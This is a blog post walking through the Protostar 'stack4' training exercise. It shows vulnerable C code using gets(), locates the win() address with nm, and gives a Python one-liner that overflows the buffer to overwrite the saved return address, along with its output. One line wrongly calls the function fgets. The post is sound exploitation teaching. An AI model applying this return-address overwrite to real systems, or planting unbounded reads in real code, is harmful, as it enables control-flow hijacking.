DEV Community

hextrace
hextrace

Posted on • Edited on

Rewrite instruction pointer (protostar - stack4)

This is the 5th exercise of the protostar series. This is about exploiting a buffer overflow to rewrite the instruction pointer.

Here is the source we're about to exploit.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
Enter fullscreen mode Exit fullscreen mode

Ok so now we only have a gets() that reads our input and a win function lying in virtual address space that doesn't get called. Can we find a way to call it? Sure!

fgets is vulnerable to overflow. Our destination buffer is 64 bytes long. If we overflow it, we're going to overwrite the stack. There is some useful values lying on stack, on top of our buffer: the previous stack pointer (actual base pointer but also the previous next instruction pointer). This next instruction pointer (IP) will be used to fetch the instruction following our function call. Here, main gets called by some library wrapper function but there is some code after main that we can change due to the overflow vulnerability.

We can use nm as previously shown to discover win address:

root@protostar:/opt/protostar/bin# nm stack4 | grep win
080483f4 T win
Enter fullscreen mode Exit fullscreen mode

Now we have to find the instruction pointer backup lying on stack. To do so, we can craft the follwing payload, increasing the overflow length to properly jump on win:

buffer + overflow + win address
Enter fullscreen mode Exit fullscreen mode

We end up with the following:

root@protostar:/opt/protostar/bin# python -c "print('A'*64 + 'B' * 12 + '\xf4\x83\x04\x08')" | ./stack4
code flow successfully changed
Segmentation fault
Enter fullscreen mode Exit fullscreen mode

We successfully called win but this ended up with a segmentation fault because win stack frame couldn't have been set up properly.

Links

Top comments (0)